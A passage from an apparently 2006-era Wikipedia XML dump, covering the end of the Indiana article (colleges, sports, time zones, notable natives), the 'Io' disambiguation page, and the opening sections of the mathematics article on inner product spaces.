*[[Princeton, Indiana|Princeton]]
*[[Newburgh, Indiana|Newburgh]]
*[[Mt. Vernon, Indiana|Mt. Vernon]]

===Important suburbs of [[South Bend, Indiana|South Bend]]===
*[[Granger, Indiana|Granger]]
*[[Mishawaka, Indiana|Mishawaka]]
|}

== Education ==

=== Colleges and universities ===
{|
|-
|valign=top|&lt;small&gt;
====State-supported====
*[[Ball State University]]
*[[Indiana State University]]
*[[Indiana University System]]
**[[Indiana University at Bloomington]]
**[[Indiana University East]] (Richmond)
**[[Indiana University at Kokomo]]
**[[Indiana University Northwest]]
**[[Indiana University South Bend]]
**[[Indiana University Southeast]]
**[[Indiana University Purdue University at Columbus]]
**[[IPFW|Indiana University Purdue University at Fort Wayne]]
**[[IUPUI|Indiana University Purdue University at Indianapolis]]
*[[Ivy Tech State College]]
*[[Purdue University System]]
**[[Purdue University]]
**[[Purdue University Calumet]]
**[[Purdue University North Central]]
**[[Indiana University Purdue University at Columbus]]
**[[IPFW|Indiana University Purdue University at Fort Wayne]]
**[[IUPUI|Indiana University Purdue University at Indianapolis]]
**[[Purdue University School of Technology]]
***[[Purdue University School of Technology at Anderson|Anderson]]
***[[Purdue University School of Technology at Columbus|Columbus]]
***[[Purdue University School of Technology at Indianapolis|Indianapolis]]
***[[Purdue University School of Technology at Kokomo|Kokomo]]
***[[Purdue University School of Technology at Muncie|Muncie]]
***[[Purdue University School of Technology at New Albany|New Albany]]
***[[Purdue University School of Technology at Richmond|Richmond]]
***[[Indiana University South Bend|Indiana University South Bend]]
***[[Purdue University School of Technology at Versailles|Versailles]]
*[[University of Southern Indiana]]
*[[Vincennes University]]

|valign=top|
|valign=top|

|valign=top|

====Private====
*[[Ancilla College]]
*[[Anderson University]]
*[[Bethel College (Indiana)|Bethel College]]
*[[Butler University]]
*[[Calumet College of St. Joseph]]
*[[Christian Theological Seminary]]
*[[Concordia Theological Seminary]] ([[Fort Wayne, Indiana|Fort Wayne]] campus)
*[[DePauw University]]
*[[DeVry University]]
*[[Earlham College]]
*[[Franklin College]]
*[[Goshen College]]
*[[Grace College]]
*[[Hanover College]]
*[[Holy Cross College (Indiana)|Holy Cross College]]
*[[Huntington University]]
*[[Hyles-Anderson College]]
*[[Indiana Institute of Technology]]
*[[Indiana Wesleyan University]]
*[[Manchester College]]
*[[Marian College]]
*[[Martin University]]
*[[Oakland City University]]
*[[Rose-Hulman Institute of Technology]]
*[[Saint Joseph's College, Indiana|Saint Joseph's College]]
*[[Saint Mary-of-the-Woods College]]
*[[Saint Mary's College (Indiana)|Saint Mary's College]]
*[[Taylor University]]
*[[Tri-State University]]
*[[University of Evansville]]
*[[University of Indianapolis]]
*[[University of Notre Dame]]
*[[University of Saint Francis (Indiana)|University of Saint Francis]]
*[[Valparaiso University]]
*[[Wabash College]]
&lt;/small&gt;
|}

== Professional sports teams ==
{|
|-
|valign=top|
*[[Indianapolis Colts]], [[National Football League]]
*[[Indiana Pacers]], [[National Basketball Association]]
*[[Indiana Fever]], [[Women's National Basketball Association]]
*[[FC Indiana]], [[Women's Premier Soccer League]]
*[[Fort Wayne Komets]], [[United Hockey League]]
*[[Indiana Ice]], [[United States Hockey League]]

|valign=top|
|valign=top|

|valign=top|

*[[minor league baseball|Minor League baseball teams]]
**[[Gary SouthShore Railcats]]
**[[Indianapolis Indians]]
**[[South Bend Silver Hawks]]
**[[Fort Wayne Wizards]]
**[[Evansville Otters]]
|}

==Time zones==
[[Image:National-atlas-us-time-zones.png|thumb|right|250px|Map of U.S. time zones, with Indiana shaded out.]] Most of Indiana has historically exempted itself from the observation of [[daylight saving time]] (DST). Some counties within this area, particularly [[Floyd County, Indiana|Floyd]], [[Clark County, Indiana|Clark]], and [[Harrison County, Indiana|Harrison]] counties near [[Louisville, Kentucky]], and [[Ohio County, Indiana|Ohio]] and [[Dearborn County, Indiana|Dearborn]] counties near [[Cincinnati, Ohio]], observe daylight saving time unofficially and illegally by local custom.  

In addition, [[Lake County, Indiana|Lake]], [[Porter County, Indiana|Porter]], [[LaPorte County, Indiana|LaPorte]], [[Newton County, Indiana|Newton]], and [[Jasper County, Indiana|Jasper]] counties in the northwest and [[Gibson County, Indiana|Gibson]], [[Posey County, Indiana|Posey]], [[Vanderburgh County, Indiana|Vanderburgh]], [[Warrick County, Indiana|Warrick]], and [[Spencer County, Indiana|Spencer]] counties in the southwest are in the [[Central time zone]] and remain subject to daylight saving time. 

The history of this unique arrangement is fairly convoluted.  From 1918 until 1961, at which time authority under the various Standard Time Acts was in the Interstate Commerce Commission, the dividing line between Eastern and Central Standard Time was approximately the eastern boundary line of the State of Indiana. In 1961 after hearings, the Interstate Commerce Commission adjusted the boundary line between Eastern and [[Time zone#UTC-6 (CST - Central Standard Time)|Central]] so that the line essentially split Indiana down the middle. In 1967, the Governor of Indiana petitioned the United States Department of Transportation to have the entire state of Indiana placed on Central Time. Instead, the time line was fixed in a position where all but 10 counties in western Indiana were placed in the Eastern Time Zone, but dispensation was given to allow a state to exempt an entire time zone bloc within the state from observance of Daylight Saving Time. Technically, during the summer months, this meant most of Indiana was on Eastern Standard Time, but functionally most of the state was on Central Daylight Time. Eastern Standard Time and Central Daylight Time are the same - one could say New York is on Central Daylight Time. 

Due to the confusion of anyone not from Indiana, the state passed a bill in 2005 whereby the entire state is to begin observing daylight saving time starting in April 2006. Counties would remain under their current time zones, but the bill also asks the federal [[United States Department of Transportation|Department of Transportation]], which has jurisdiction over time zones, to reconsider whether more counties should switch to the Central zone.  The DOT has since announced that the counties of [[Starke County, Indiana|Starke]] and [[Pulaski County, Indiana|Pulaski]] in the northern part of the state; and [[Knox County, Indiana|Knox]], [[Daviess County, Indiana|Daviess]], [[Martin County, Indiana|Martin]], [[Pike County, Indiana|Pike]], [[Dubois County, Indiana|Dubois]], and [[Perry County, Indiana|Perry]] counties in the southern part of the state will join the Central time zone beginning [[April 2]], [[2006]]. (Source: U.S. Department of Transportation, docket OST-2005-22114)

== Miscellaneous information ==
*[[List of U.S. state birds|State bird]]: [[Northern Cardinal|Cardinal]]
*[[State flower]]: [[Peony]]
*[[List of U.S. state mottos|State motto]]: &quot;Crossroads of America.&quot;
*State poem: [http://www.in.gov/sic/about/emblems/state_poem.html ''Indiana''], by [[Arthur Franklin Mapes]]
*[[List of U.S. state songs|State song]]: ''[[On the Banks of the Wabash, Far Away]]''
*State river: [[Wabash River|Wabash]]
*[[State stone]]: Salem [[limestone]]
*[[State tree]]: [[Liriodendron|Tulip tree]]

Indiana is the home state of a large number of [[astronaut]]s, including such notables as [[Virgil Grissom|&quot;Gus&quot; Grissom]] and [[Frank Borman]].  Many other astronauts, including [[Neil Armstrong]] and [[Eugene Cernan|Gene Cernan]], were graduates of [[Purdue University]] in [[West Lafayette, Indiana|West Lafayette]] ([http://www2.indystar.com/library/factfiles/history/space_program/hoosier_astronauts.html]).  Neil Armstrong's Purdue [[class ring]] may be the only such object that has ever traveled to the moon and back.

Indiana has made several significant contributions to the fields of entertainment and sport:
*Singer/[[Farm Aid]] activist [[John Mellencamp]], born in [[Seymour, Indiana|Seymour]] and residing near [[Bloomington, Indiana|Bloomington]].
*[[Mötley Crüe]] guitarist [[Mick Mars]] (real name Bob Deal), native of [[Terre Haute]].
*Former [[Van Halen]] vocalist and current radio personality [[David Lee Roth]], born in [[Bloomington, Indiana|Bloomington]].
*[[Soap opera]] actor [[Peter Reckell]] (Days Of Our Lives), native of [[Elkhart, Indiana|Elkhart]].
*Actor [[Claude Akins]] ([[&quot;Movin' On&quot;]]), native of [[Bedford, Indiana|Bedford]].
*[[Brady Bunch]] &quot;mom&quot; [[Florence Henderson]], also of [[Bedford, Indiana|Bedford]].
*Actor [[Ken Kercheval]] ([[&quot;Dallas&quot;]]), of [[Wolcottville, Indiana|Wolcottville]].
*Former (?) [[Guns N' Roses]] members [[Axl Rose]] and [[Izzy Stradlin]], both of Lafayette.
*Country singer [[Janie Fricke]], of [[Fort Wayne, Indiana|Fort Wayne]].
*The [[Jackson 5]]/[[Michael Jackson]] entertainment family, of [[Gary, Indiana|Gary]].
*Chicago Bears quarterback Kyle Orton played for Purdue University.
*Chicago Bears quarterback Rex Grossman born in [[Bloomington, Indiana|Bloomington]].
*St. Louis Cardinals third baseman Scott Rolen born in [[Evansville]].
*Former NY Yankees first baseman Don Mattingly born in [[Evansville]].
*Former [[Notre Dame]] and current [[NFL]] quarterback [[Rick Mirer]] is a native of [[Goshen, Indiana|Goshen]].
*[[R&amp;B]] singer [[Vivica A. Fox]] is a native of [[South Bend, Indiana|South Bend]].
*[[Calbert Cheaney]], NBA basketball player and native of [[Evansville]].
*[[Larry Bird]] Former NBA player for the Boston Celtics and current President of the Indiana Pacers, Born in [[French Lick]].
*[[Tony Stewart]] [[NASCAR]] driver and 2005 Nextel Cup Champion born in [[Columbus, Indiana|Columbus]].
*[[Jeff Gordon]] [[NASCAR]] driver and 4 time Nextel Cup Champion native of [[Pittsboro, Indiana|Pittsboro]].
*[[Abe Lincoln]] The 16th President of the United States grew up in Spencer County.
*[[Benjamin Harrison]] (1833 - 1901) 23rd President of the United States; lived in Indianapolis.
*[[James Dean]] Actor; born in Marion.
*[[David Letterman]] Host of The Late Show; born in Indianapolis. 
*William F. Rasmussen Founder of ESPN graduated from [[DePauw University]].
*General [[Lew Wallace]] Civil War Hero and author of the novel [[Ben-Hur]] born in Brookville, IN.
*[[Orville Redenbacher]] Orville Redenbacher's Popcorn born on a small corn plantation in Indiana.
*[[Shannon Hoon]], late singer for [[Blind Melon]], born in Lafayette.
*[[Kurt Vonnegut]], author of Cat's Cradle, Slaughterhouse 5 and many others, born in Indianapolis.

==Natural resources==
There are 24 [[List of Indiana state parks|Indiana state parks]], nine man-made reservoirs, and hundreds of lakes in the state.

== External links ==
{{sisterlinks|Indiana}}
*[http://www.in.gov Indiana government home page]
:*[http://www.statelib.lib.in.us/www/ihb/emblems/index.html Indiana state emblems]
*[http://www.ecanned.com/indsum/level1/IN/index.html Indiana Employment Data]
*[http://quickfacts.census.gov/qfd/states/18000.html U.S. Census Bureau]
*[http://www.usnewspapers.org/state/indiana Indiana Newspapers]
*[http://www.farleyart.com/tech_news.html Indiana Computer Technology News]

{{Indiana}}
{{United_States}}

[[Category:Indiana|*]]
[[Category:States of the United States]]
[[Category:1816 establishments]]

[[ang:Indiana]]
[[bg:Индиана]]
[[ca:Indiana]]
[[da:Indiana]]
[[de:Indiana]]
[[et:Indiana]]
[[el:Ιντιάνα]]
[[es:Indiana]]
[[eo:Indianao]]
[[fr:Indiana]]
[[ko:인디애나 주]]
[[hr:Indiana]]
[[id:Indiana]]
[[is:Indiana fylki]]
[[it:Indiana]]
[[he:אינדיאנה]]
[[ka:ინდიანა]]
[[la:Indiana]]
[[lv:Indiāna]]
[[lt:Indiana]]
[[hu:Indiana]]
[[mk:Индијана]]
[[nl:Indiana]]
[[ja:インディアナ州]]
[[no:Indiana]]
[[nn:Indiana]]
[[os:Индианæ]]
[[pl:Indiana]]
[[pt:Indiana]]
[[ru:Индиана]]
[[sq:Indiana]]
[[simple:Indiana]]
[[sk:Indiana]]
[[sl:Indiana]]
[[sr:Индијана]]
[[fi:Indiana]]
[[sv:Indiana]]
[[th:มลรัฐอินดีแอนา]]
[[tr:Indiana]]
[[uk:Індіана]]
[[zh:印第安纳州]]</text>
    </revision>
  </page>
  <page>
    <title>Io</title>
    <id>14854</id>
    <revision>
      <id>40293028</id>
      <timestamp>2006-02-19T16:11:55Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: eo</comment>
      <text xml:space="preserve">'''Io''' or '''io''' may stand for:

*In [[Greek mythology]], '''[[Io (mythology)|Io]]''' ([[International Phonetic Alphabet for English|IPA]] {{IPA|[&amp;#712;a&amp;#618;o&amp;#650;]}} or {{IPA|[&amp;#712;i&amp;#720;o&amp;#650;]}}) was the daughter of [[Inachus]], a river god.
**'''[[Io (moon)|Io]]''', a [[natural satellite|moon]] of [[Jupiter (planet)|Jupiter]].
**The [[asteroid]] '''[[85 Io]]'''.
**'''[[Io programming language]]''', a prototype-oriented programming language made by [[Steve Dekorte]].
* An [[indie rock]] band from [[San Francisco]], CA
*The creator god '''Io''' in [[Polynesian mythology]] (including [[Māori]]), see '''[[Kiho (god)|Kiho]]'''.
*[[Iwo Jima|Io island]] (a.k.a. Iwo Jima), a volcanic island in Japan.
*[[Io (voievodal title particle)]] abbreviation of [[John]] (romanian: Ioan, latin:Ioannes), meaning &quot;by the grace of God&quot;. &quot;Io&quot; is the particle preceding the name of [[Romanian]] ([[Wallachia|Wallachian]] and [[Moldavia|Moldavian]]) [[voievod|voievods]] (rulers) during the middle ages.
*[[Io (Dungeons &amp; Dragons)|The Father God of Dragonkind]] in [[dungeons and dragons]]; he has within himself all alignments.
*[[Discworld_gods#Blind_Io |Blind Io]] is King of all Gods in [[Terry Pratchett]]'s [[Discworld]] series.
*A pummeling hardcore band from [[Pittsburgh]], PA
*A [[Loredana Bertè]] album
*An album by [[Germany|German]] industrial music artists, [[Project Pitchfork]].
*Abbreviations
**the [[ISO 3166-1|ISO]] 2-letter [[country code]] and DAFIF 0413 / DIA 65-18 / [[List of FIPS country codes|FIPS PUB 10-4 territory code]] for the '''[[British Indian Ocean Territory]]'''.
**the [[ISO 639]] alpha-2 code for the '''[[Ido language]]'''.
**the '''[[Improv Olympic]]''' comedy theater, also known as the ''IO Theater'' ([http://www.iochicago.net/ Chicago] and [http://www.iowest.com/ Los Angeles]).
**the field of '''[[industrial organization|Industrial Organization]]''' within economics and management.
**German abbreviation for in Ordnung = allright

The related '''I/O''' is a common abbreviation of [[Input/output]], and is also facetiously taken to mean &quot;Ignorant Operator&quot;.

'''''See also: [[.io]]''' (the [[ccTLD]] for the British Indian Ocean Territory).''

{{disambig}}

[[als:Io]]
[[da:Io]]
[[de:Io]]
[[eo:Io]]
[[fr:Io]]
[[ko:IO]]
[[hr:Io]]
[[it:Io]]
[[nl:Io]]
[[ja:IO]]
[[pl:Io]]
[[pt:IO]]</text>
    </revision>
  </page>
  <page>
    <title>Inner product space</title>
    <id>14856</id>
    <revision>
      <id>40430552</id>
      <timestamp>2006-02-20T14:18:13Z</timestamp>
      <contributor>
        <username>Salix alba</username>
        <id>212526</id>
      </contributor>
      <comment>How about (also called '''scalar product''') dot product mentioned just below?</comment>
      <text xml:space="preserve">:''For the scalar product or dot product of spatial vectors see [[dot product]].''

In [[mathematics]], an '''inner product space''' is a [[vector space]] with additional structure, an '''inner product''' (also called '''scalar product'''), which allows us to introduce geometrical notions such as [[angle]]s and [[length]]s of vectors. Inner product spaces generalize [[Euclidean space]]s (with the [[dot product]] as the inner product) and are studied in [[functional analysis]].

An inner product space is sometimes also called a '''''pre-Hilbert space''''', since its [[Complete space#Completion|completion]] with respect to the [[Metric space#Formal definition|metric]] [[Normed vector space#Distances in normed vector spaces|induced]] by its inner product is a [[Hilbert space]]. 

Inner product spaces were referred to as '''unitary spaces''' in earlier work, although this terminology is now rarely used.

== Definitions ==

In the following article, the [[field (mathematics)|field]] of [[scalar]]s denoted '''F''' is either
the field of [[real number]]s '''R''' or the field of [[complex number]]s '''C'''. See below.

Formally, an inner product space is a vector space ''V'' over the field '''F''' together with a map, called an ''inner product''
:&lt;math&gt; \langle \cdot, \cdot \rangle : V \times V \rightarrow \mathbf{F} &lt;/math&gt;

satisfying the following [[axiom]]s:

* [[complex conjugate|Conjugate]] symmetry:

::&lt;math&gt;\forall x,y\in V,\ \langle x,y\rangle =\overline{\langle y,x\rangle}.&lt;/math&gt;

:This condition implies that &lt;math&gt; \langle x,x\rangle \in \mathbf{R} &lt;/math&gt; for all &lt;math&gt; x \in V &lt;/math&gt;, because &lt;math&gt;\langle x,x\rangle = \overline{\langle x,x\rangle} &lt;/math&gt;.

:''(Conjugation is also often written with an asterisk, as in &lt;math&gt; \langle y,x\rangle^{*} &lt;/math&gt;, as is the [[conjugate transpose]].)''

* [[Sesquilinear]]ity:

::&lt;math&gt;\forall b\in F,\ \forall x,y\in V,\ \langle x,by\rangle= b \langle x,y\rangle.&lt;/math&gt;
::&lt;math&gt;\forall x,y,z\in V,\ \langle x,y+z\rangle= \langle x,y\rangle+ \langle x,z\rangle.&lt;/math&gt;

:By combining these with conjugate symmetry, we get:
::&lt;math&gt;\forall a\in F,\ \forall x,y\in V,\ \langle ax,y\rangle= \overline{a} \langle x,y\rangle.&lt;/math&gt;
::&lt;math&gt;\forall x,y,z\in V,\ \langle x+y,z\rangle= \langle x,z\rangle+ \langle y,z\rangle.&lt;/math&gt;

* Nonnegativity:

::&lt;math&gt;\forall x \in V,\ \langle x,x\rangle \ge 0.&lt;/math&gt;
:''(This makes sense because &lt;math&gt; \langle x,x\rangle \in \mathbf{R} &lt;/math&gt; for all &lt;math&gt; x\in V &lt;/math&gt;.)''

* Nondegeneracy:

::&lt;math&gt;\forall x \in V,\ \langle x,x\rangle = 0 \mbox{ iff } x = 0. &lt;/math&gt;

:Hence, the inner product is a [[Hermitian form]].

The property of an inner product space &lt;math&gt; V &lt;/math&gt; that
::&lt;math&gt; \langle x+y,z\rangle= \langle x,z\rangle+ \langle y,z\rangle &lt;/math&gt; and &lt;math&gt; \langle x,y+z\rangle = \langle x,y\rangle + \langle x,z\rangle &lt;/math&gt;
for all &lt;math&gt;x, y, z \in V &lt;/math&gt; is known as ''additivity''.

Note that if '''F'''='''R''', then the conjugate symmetry property is simply ''symmetry'' of the inner product, i.e.

:: &lt;math&gt; \langle x,y\rangle=\langle y,x\rangle.&lt;/math&gt;

In this case, sesquilinearity becomes standard [[linear]]ity.

'''Remark'''. Many mathematical authors require an inner product to be linear in the first argument and conjugate-linear in the second argument, contrary to the convention adopted above. This change is immaterial, but the definition above ensures a smoother connection to the [[bra-ket notation]] used by physicists in [[quantum mechanics]] and is now often used by mathematicians as well. Some authors adopt the convention that &lt; , &gt; is linear in the first component while &lt; | &gt; is linear in the second component, although this is by no means universal. For instance the G. Emch reference does not follow this convention.

There are various technical reasons why it is necessary to restrict the basefield to '''R''' and '''C''' in the definition.  Briefly, the [[basefield]] has to contain an [[ordered field|ordered subfield]] (in order for non-negativity to make sense) and therefore has to have [[characteristic (algebra)|characteristic]] equal to 0. This immediately excludes finite fields.  The basefield has to have additional structure, such as a distinguished automorphism.

In some cases we need to consider non-negative ''semi-definite'' sesquilinear forms.  This means that &lt;''x'', ''x''&gt; is only required to be non-negative.  We show how to treat these below.

== Examples ==

A trivial example are the [[real numbers]] with the standard multiplication as the inner product
:&lt;math&gt;\langle x,y\rangle := xy&lt;/math&gt;

More generally any Euclidean space '''R'''&lt;sup&gt;''n''&lt;/sup&gt; with the [[dot product]] is an inner product space
:&lt;math&gt;\langle (x_1,\ldots, x_n),(y_1,\ldots, y_n)\rangle := \sum_{i=1}^{n} x_i y_i = x_1 y_1 + \cdots + x_n y_n&lt;/math&gt;

The general form of an inner product on '''C'''&lt;sup&gt;''n''&lt;/sup&gt; is given by:
:&lt;math&gt;\langle \mathbf{x},\mathbf{y}\rangle := \mathbf{x}^*\mathbf{M}\mathbf{y}&lt;/math&gt;

with  '' M'' any [[positive-definite matrix]], and '''x'''&lt;sup&gt;*&lt;/sup&gt; the [[conjugate transpose]] of '''x'''. For the real case this corresponds to the dot product of the results of directionally differential [[Scaling (geometry)|scaling]] of the two vectors, with positive [[scale factor]]s and orthogonal directions of scaling. Apart from an orthogonal transformation it is a [[Weight function|weighted-sum]] version of the dot product, with positive weights.

The article on [[Hilbert space]] has several examples of inner product spaces wherein the metric induced by the inner product yields a [[complete]] metric space. An example of an inner product which induces an incomplete metric occurs with the space ''C''[''a'', ''b''] of continuous complex valued functions on the interval [''a'',''b''].  The inner product is

:&lt;math&gt; \langle f , g \rangle := \int_a^b \overline{f(t)} g(t) \, dt &lt;/math&gt;

This space is not complete; consider for example, for the interval [0,1] the sequence of functions { ''f''&lt;sub&gt;''k''&lt;/sub&gt; }&lt;sub&gt;''k''&lt;/sub&gt; where 
* ''f''&lt;sub&gt;''k''&lt;/sub&gt;(''t'') is 1 for ''t'' in the subinterval [0, 1/2] 
* ''f''&lt;sub&gt;''k''&lt;/sub&gt;(''t'') is 0 for t in the subinterval [1/2 + 1/''k'', 1]
* ''f''&lt;sub&gt;''k''&lt;/sub&gt; is affine in [1/2, 1/2 + 1/''k'']
This sequence is a Cauchy sequence which does not converge to a ''continuous'' function.

== Norms on inner product spaces ==

Inner product spaces have a naturally defined [[Normed vector space|norm]]

:&lt;math&gt; \|x\| =\sqrt{\langle x, x\rangle}.&lt;/math&gt;

This is well defined by the nonnegativity axiom of the definition of inner product space. The norm is thought of as the length of the vector ''x''. 
Directly from the axioms, we can prove the following:

*[[Cauchy-Schwarz inequality]]: for ''x'', ''y'' elements of ''V''

:: &lt;math&gt; |\langle x,y\rangle| \leq \|x\| \cdot \|y\| &lt;/math&gt;

:with equality if and only if ''x'' and ''y'' are [[linearly independent|linearly dependent]]. This is one of the most important inequalities in mathematics. It is also known in the Russian mathematical literature as the ''Cauchy-Bunyakowski-Schwarz inequality''. 

:Because of its importance, its short proof should be noted. To prove this inequality note it is trivial in the case ''y'' = 0. Thus we may assume &lt;''y'', ''y''&gt; is nonzero. Thus we may let

::&lt;math&gt;  \lambda = \langle y , y \rangle^{-1} \langle y, x\rangle&lt;/math&gt;

:and it follows that 

::&lt;math&gt; 0 \leq \langle x -\lambda y,  x -\lambda y \rangle = \langle x, x\rangle - \langle y , y \rangle^{-1} | \langle x,y\rangle|^2. &lt;/math&gt;

:multiplying out, the result follows.

[[Image:Inner-product-angle.png|thumb|Geometric interpretation of inner product]]
:The geometric interpretation of the inner product in terms of angle and length, motivates much of the geometric terminology we use in regard to these spaces. Indeed, an immediate consequence of the Cauchy-Schwarz inequality is that it justifies defining the [[angle]] between two non-zero vectors ''x'' and ''y'' (at least in the case ''F'' = '''R''') by the identity

:&lt;math&gt;\operatorname{angle}(x,y) = \arccos \frac{\langle x, y \rangle}{\|x\| \cdot \|y\|}.&lt;/math&gt;

:We assume the value of the angle is chosen to be in the interval &lt;nowiki&gt;(&amp;minus;&amp;pi;, +&amp;pi;]&lt;/nowiki&gt;.  This is in analogy to the familiar situation in two-dimensional [[Euclidean space]]. Correspondingly, we will say that non-zero vectors ''x'', ''y'' of ''V'' are orthogonal iff their inner product is zero.

*[[Homogeneity]]: for ''x'' an element of ''V'' and ''r'' a scalar

::&lt;math&gt; \|r \cdot x\| = |r| \cdot \| x\|.&lt;/math&gt;

:The homogeneity property is completely trivial to prove.

*[[Triangle inequality]]:  for ''x'', ''y'' elements of ''V''

::&lt;math&gt; \|x + y\| \leq  \|x \| + \|y\|. &lt;/math&gt;

:The last two properties show the function defined is indeed a norm.

:Because of the triangle inequality and because of axiom 2, we see that ||·|| is a norm which turns ''V'' into a [[normed vector space]] and hence also into a [[metric space]].  The most important inner product spaces are the ones which are [[completeness (topology)|complete]] with respect to this metric; they are called [[Hilbert space]]s. Every inner product ''V'' space is a [[dense]] subspace of some Hilbert space. This Hilbert space is essentially uniquely determined by ''V'' and is constructed by completing ''V''.

*[[Parallelogram law]]: 

::&lt;math&gt;  \|x + y\|^2 + \|x - y\|^2 = 2\|x\|^2 + 2\|y\|^2. &lt;/math&gt;

*[[Pythagorean theorem]]: Whenever ''x'', ''y'' are in ''V'' and &lt;''x'', ''y''&gt; = 0, then 

::&lt;math&gt; \|x\|^2 + \|y\|^2 = \|x+y\|^2. &lt;/math&gt;

:The proofs of both of these identities require only expressing the definition of norm in terms of the inner product and multiplying out, using the property of additivity of each component. The name ''Pythagorean theorem'' arises from the geometric interpretation of this result as an analogue of the theorem in [[synthetic geometry]]. Note that the proof of the Pythagorean theorem in synthetic geometry is considerably more elaborate because of the paucity of underlying structure. In this sense, the  synthetic Pythagorean theorem, if correctly demonstrated is deeper than the version given above.

:An easy [[mathematical induction|induction]] on the Pythagorean theorem yields:

*If ''x''&lt;sub&gt;1&lt;/sub&gt;, ..., ''x''&lt;sub&gt;''n''&lt;/sub&gt; are [[orthogonal]] vectors, that is, &lt;''x''&lt;sub&gt;''j''&lt;/sub&gt;, ''x''&lt;sub&gt;''k''&lt;/sub&gt;&gt; = 0 for distinct indices ''j'', ''k'', then 

::&lt;math&gt; \sum_{i=1}^n \|x_i\|^2 = \left\|\sum_{i=1}^n x_i \right\|^2. &lt;/math&gt;

:In view of the Cauchy-Schwarz inequality, we also note that &lt;·,·&gt; is [[continuous function|continuous]] from ''V'' &amp;times; ''V'' to ''F''. This allows us to extend Pythagoras' theorem to infinitely many summands:

*Parseval's identity: Suppose ''V'' is a ''complete'' inner product space. If {''x''&lt;sub&gt;''k''&lt;/sub&gt;} are mutually orthogonal vectors in ''V'' then 

::&lt;math&gt; \sum_{i=1}^\infty\|x_i\|^2 = \left\|\sum_{i=1}^\infty x_i\right\|^2, &lt;/math&gt;

:''provided the infinite series on the left is [[convergent]].'' Completeness  of the space is needed to ensure that the sequence of partial sums

::&lt;math&gt; S_k = \sum_{i=1}^k x_i &lt;/math&gt;

:which is easily shown to be a [[Cauchy sequence]] is convergent.

== Orthonormal sequences ==

A sequence {''e''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k''&lt;/sub&gt; is ''orthonormal'' [[iff]] it is orthogonal and each ''e&lt;sub&gt;k&lt;/sub&gt;'' has norm 1.  An ''orthonormal basis'' for an inner product space ''V'' is an orthonormal sequence  whose algebraic span is ''V''.

The [[Gram-Schmidt]] process is a canonical procedure that takes a linearly independent sequence {''v''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k''&lt;/sub&gt; on an inner product space and produces an orthonormal sequence {''e''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k''&lt;/sub&gt; such that for each ''n''
:&lt;math&gt;\operatorname{span}\{v_1, \ldots, v_n\} = \operatorname{span}\{e_1, \ldots, e_n\} &lt;/math&gt;

By the Gram-Schmidt orthonormalization process, one shows:

'''Theorem'''.  Any [[separable]] inner product space ''V'' has an orthonormal basis.

Parseval's identity leads immediately to the following theorem:

'''Theorem'''. Let ''V'' be a [[separable]] inner product space and {''e''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k''&lt;/sub&gt; an orthonormal basis of ''V''.
Then the map
:&lt;math&gt; x \mapsto \{\langle e_k, x\rangle\}_{k \in \mathbb{N}} &lt;/math&gt;
is an isometric linear map ''V'' &amp;rarr; ''l''&lt;sup&gt;2&lt;/sup&gt; with a dense image.

This theorem can be regarded as an abstract form of [[Fourier series]], in which an arbitrary orthonormal basis plays the role of the sequence of [[trigonometric polynomial]]s.  Note that the underlying index set can be taken to be any countable set (and in fact any set whatsoever, provided ''l&lt;sup&gt;2&lt;/sup&gt;'' is defined appropriately, as is explained in the article [[Hilbert space]]).
In particular, we obtain the following result in the theory of Fourier series:

'''Theorem'''.  Let ''V'' be the inner product space &lt;math&gt;C[-\pi,\pi]&lt;/math&gt;. Then the sequence (indexed on set of all integers) of continuous functions
:&lt;math&gt;e_k(t) =  (2 \pi)^{-1/2}e^{i k t}&lt;/math&gt;
is an orthonormal basis of the space &lt;math&gt;C[-\pi,\pi]&lt;/math&gt; with the ''L''&lt;sup&gt;2&lt;/sup&gt; inner product.  The mapping
:&lt;math&gt; f \mapsto \frac{1}{\sqrt{2 \pi}} \left\{\int_{-\pi}^\pi f(t) e^{-i k t} \, dt \right\}_{k \in \mathbb{Z}} &lt;/math&gt;
is an isometric linear map with dense image.

Orthogonality of the sequence {e&lt;sub&gt;k&lt;/sub&gt;}&lt;sub&gt;k&lt;/sub&gt; follows immediately from the fact that if k &amp;ne; j, then 
:&lt;math&gt;  \int_{-\pi}^\pi e^{-i (j-k) t} \, dt = 0 &lt;/math&gt;
Normality of the sequence is by design, that is, the coefficients are so chosen so that the norm comes out to 1.  Finally the fact that the sequence has a  dense algebraic span, in the ''inner product norm'',  follows from the fact that the sequence has a dense algebraic span, this time in the space of continuous periodic functions on &lt;math&gt;[-\pi,\pi]&lt;/math&gt; with the uniform norm.  This is the content of the Weierstrass theorem on the uniform density of trigonometric polynomials.

==Operators on inner product spaces==

Several types of [[linear]] maps ''A'' from an inner product space ''V'' to an inner product space ''W'' are of relevance:
* [[Continuous linear operator|Continuous linear maps]], i.e. ''A'' is linear and continuous with respect to the metric defined above, or equivalently, ''A'' is linear and the set of non-negative reals {||''Ax''||}, where  ''x'' ranges over the closed unit ball of ''V'', is bounded.
* Symmetric linear operators, i.e. ''A'' is linear and &lt;''Ax'', ''y''&gt; = &lt;''x'', ''A y''&gt; for all ''x'', ''y'' in ''V''.
* Isometries, i.e. ''A'' is linear and &lt;''Ax'', ''Ay''&gt; = &lt;''x'', ''y''&gt; for all ''x'', ''y'' in ''V'', or equivalently, ''A'' is linear and ||''Ax''|| = ||''x''|| for all ''x'' in ''V''. All isometries are [[injective]]. Isometries are [[morphism]]s between inner product spaces, and morphisms of real inner product spaces are orthogonal transformations (compare with [[orthogonal matrix]]).
* Isometrical isomorphisms, i.e. ''A'' is an isometry which is [[surjective]] (and hence [[bijective]]). Isometrical isomorphisms are also known as unitary operators (compare with [[unitary matrix]]).

From the point of view of inner product space theory, there is no need to distinguish between two spaces which are isometrically isomorphic.  The [[spectral theorem]] provides a canonical form for symmetric, unitary and more generally [[normal]] operators on finite dimensional inner product spaces.  A generalization of the spectral theorem holds for continuous normal operators in Hilbert spaces.

== Degenerate inner products ==

If ''V'' is a vector space and &lt;&amp;nbsp;,&amp;nbsp;&gt; a semi-definite sesquilinear form, 
